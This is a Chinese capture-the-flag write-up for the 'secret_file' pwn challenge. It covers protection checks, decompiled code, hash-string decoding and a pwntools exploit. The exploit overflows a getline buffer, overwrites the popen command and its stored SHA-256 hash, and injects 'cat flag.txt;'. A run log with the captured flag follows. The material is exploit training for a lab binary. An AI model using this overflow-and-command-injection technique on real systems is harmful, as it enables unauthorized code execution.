概述
攻防世界 Pwn secret_file
- 1.checksec检查保护
- 2.运行程序
- 3.IDA分析
- 4.程序逻辑
- 5.exp
- 6.运行结果
1.checksec检查保护
lwj@ubuntu:~/Desktop/git/ctf-pwn/secret_file$ checksec secret_file
[*] '/home/lwj/Desktop/git/ctf-pwn/secret_file/secret_file'
Arch:
amd64-64-little
RELRO:
Full RELRO
Stack:
Canary found
NX:
NX enabled
PIE:
PIE enabled
- 保护全开
2.运行程序
lwj@ubuntu:~/Desktop/git/ctf-pwn/secret_file$ ./secret_file
llllllll
wrong password!
- 应该是要输入什么东西
3.IDA分析
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char *v3; // rax
unsigned __int8 *v4; // rbp
char *v5; // rbx
__int64 v6; // rcx
char *v7; // rdi
unsigned int v8; // er12
FILE *v9; // rbp
size_t v11; // [rsp+0h] [rbp-308h] BYREF
char *lineptr; // [rsp+8h] [rbp-300h] BYREF
char dest[256]; // [rsp+10h] [rbp-2F8h] BYREF
char v14[27]; // [rsp+110h] [rbp-1F8h] BYREF
char v15[65]; // [rsp+12Bh] [rbp-1DDh] BYREF
_BYTE v16[32]; // [rsp+16Ch] [rbp-19Ch] BYREF
char v17[64]; // [rsp+18Ch] [rbp-17Ch] BYREF
int v18; // [rsp+1CCh] [rbp-13Ch] BYREF
char s[264]; // [rsp+1D0h] [rbp-138h] BYREF
unsigned __int64 v20; // [rsp+2D8h] [rbp-30h]
v20 = __readfsqword(0x28u);
sub_E60(dest, a2, a3);
<--------------------------------------<1>
v11 = 0LL;
lineptr = 0LL;
if ( getline(&lineptr, &v11, stdin) == -1 )
return 1;
v3 = strrchr(lineptr, 10);
if ( !v3 )
return 1;
*v3 = 0;
v4 = v16;
v5 = v17;
strcpy(dest, lineptr);
sub_DD0(dest, v16, 256LL);
<------------------------------------<2>
do
{
v6 = *v4;
v7 = v5;
v5 += 2;
++v4;
snprintf(v7, 3uLL, "%02x", v6);
}
while ( v5 != (char *)&v18 );
v8 = strcmp(v15, v17);
if ( v8 )
{
puts("wrong password!");
return 1;
}
v9 = popen(v14, "r");
if ( !v9 )
return 1;
while ( fgets(s, 256, v9) )
printf("%s", s);
fclose(v9);
return v8;
}
-
以上是main函数的主要代码截图,这里我们倒着分析,从程序运行结果处入手,先找到对应的"wrong password!“出处,然后逆逻辑分析一波。
-
从程序中我们可以看出,代码中v8不为0就会输出"wrong password”,然后退出,如果v8等于0,那么后面会执行popen函数,该函数可以执行shell command,所以这里我们需要v8等于0。这里简单介绍一下popen函数:
popen函数通过创建一个管道,调用fork产生一个子进程,通过shell来运行传入的参数命令,这个进程必须由pclose函数关闭,而不是fclose函数。 -
接着往上看,要使v8等于0即v15和v17处的两个字符串相等
-
对于v15,main函数代码中没有进行处理
-
而对于v17我们可以发现代码32行处,v5 == &v17,而在do while循环中,v7 == v5
-
而且将v6 --> v4也就是v16处的内容赋值给了v17
-
所以我们要比较的就是v15和v16的内存内容
-
从代码25行会看到接受我们输入的getline函数,这里存在溢出
-
getline存储内容的地址在lineptr处
-
后面的strcpy代码会把lineptr处的内容复制到dest处
-
然后函数②对dest和v16进行了处理。我们可以预想到v15内存地址的处理会在函数①中
-
把我们的输入和v16联系起来处理的在函数②中。
-
最后就剩两个函数了,在图中做了标注,分别为①和②。
下面先看函数①,sub_E60(&dest):
unsigned __int64 __fastcall sub_E60(char *a1)
{
char v2[32]; // [rsp+0h] [rbp-78h] BYREF
char v3[72]; // [rsp+20h] [rbp-58h] BYREF
unsigned __int64 v4; // [rsp+68h] [rbp-10h]
v4 = __readfsqword(0x28u);
memset(a1, 0, 0x100uLL);
strcpy(v2, "/bin/cat ./secret_data.asc");
snprintf(a1 + 256, 0x1BuLL, "%s", v2);
strcpy(v3, "9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127");
snprintf(a1 + 283, 0x41uLL, "%s", v3);
return __readfsqword(0x28u) ^ v4;
}
- 上述的v2至v14一系列超长整数的赋值其实应该在汇编代码界面查看其十六进制,然后选中十六进制按下快捷键D转化为数据后可以看到起字符串表示形式,这里我写了一个脚本将汇编代码中的十六进制转化为字符串:
# v2 --> v6
value1 = ["7461632F6E69622F", "65726365732F2E20", "612E617461645F74", "6373", "0"]
# v7 --> v15
value2 = ["6530306137383339", "3563333134653133", "6338306339666135", "6139313164633936", "3366653538363462", "3165626362386362", "3131363132386663", "3732313735343931", "0"]
def hex_to_str(value):
my_str = ""
for s in value:
temp = []
for i in range(len(s)):
if i % 2 == 0:
h_code = "0x" + s[i:i+2]
temp.insert(0, h_code)
temp = [chr(int(i, 16)) for i in temp]
my_str += "".join(temp)
return my_str
str1 = hex_to_str(value1)
str2 = hex_to_str(value2)
print(str1, len(str1))
print(str2, len(str2))
# /bin/cat ./secret_data.asc 27
# 9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127 65
- 转换为字符串后:
- v2 --> /bin/cat ./secret_data.asc
- v7 --> 9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127
- 我们可以发现第一个snprintf将v2出的字符串拷贝到a1+256,a1指向dest变量,长度刚好256,a1+256也就是v14变量处,拷贝的大小也是v14到v15之间的大小。
- 同样的,第二个snprintf将v7处的字符串拷贝到v15处,大小刚好是v15到v16之间的内存大小。
然后看一下函数②,sub_DD0(&dest, &v16, 0x100u):
unsigned __int64 __fastcall sub_DD0(__int64 a1, _QWORD *a2, unsigned int a3)
{
_BYTE v5[120]; // [rsp+0h] [rbp-A8h] BYREF
unsigned __int64 v6; // [rsp+78h] [rbp-30h]
*a2 = 0LL;
a2[1] = 0LL;
v6 = __readfsqword(0x28u);
a2[2] = 0LL;
a2[3] = 0LL;
SHA256_Init(v5);
SHA256_Update(v5, a1, a3);
SHA256_Final(a2, v5);
return __readfsqword(0x28u) ^ v6;
}
- SHA256_Init(&v5) 初始化v5这个指针指向的结构体;
- SHA256_Update(&v5, a1, v3) 这个函数可以重复调用,每次将a1指向地址v3长度的字符串进行hash;
- SHA256_Final(a2, &v5) 将最后计算出来的hash摘要存在a2指向地址的位置。
- 整个代码实际上就是将a1 --> dest处最大为0x100的字符串,经过sha256摘要算法处理后存放到a2 --> v16处的内存地址空间。
4.程序逻辑
- 通过比较输入和程序内部的两个字符串是否相等,来运行可以执行shell command的内嵌代码,最终拿到flag。
- 该程序会将输入的字符串进行sha256加密,然后与内部的字符串对比,但由内部的字符串经过sha256解密较难,所以我们直接构造一个自己的字符串覆盖需要比较的内部字符串,同时自己计算出构造的字符串hash值,然后对比即可。
5.exp
from pwn import *
import hashlib
p = process("./secret_file")
# p = remote("220.249.52.134", 50897)
payload = cyclic(0x100)
# bytes
hash_code = hashlib.sha256(payload).hexdigest()
# 先输入ls命令查看有哪些文件,"ls;" 后面的冒号是终端命令截断符
# payload = payload + b"ls;".ljust(0x1B, b"a") + hash_code.encode("ISO-8859-1")
payload = payload + b"cat flag.txt;".ljust(0x1B, b"a") + hash_code.encode("ISO-8859-1")
p.sendline(payload)
p.interactive()
6.运行结果
lwj@ubuntu:~/Desktop/git/ctf-pwn/secret_file$ python exp.py
[+] Opening connection to 111.200.241.244 on port 50739: Done
[*] Switching to interactive mode
sh: 1: aaaaaaaaaaaaaa8ff68b0b8a70a387e44ba491f4894ffcb1cf575afe8106f2b912ed0b40f3e043: not found
cyberpeace{34bd1bbf924b3b1d85f307e7c466baa0}
[*] Got EOF while reading in interactive
最后
以上就是不安雪糕为你收集整理的攻防世界 Pwn secret_file1.checksec检查保护2.运行程序3.IDA分析4.程序逻辑5.exp6.运行结果的全部内容,希望文章能够帮你解决攻防世界 Pwn secret_file1.checksec检查保护2.运行程序3.IDA分析4.程序逻辑5.exp6.运行结果所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复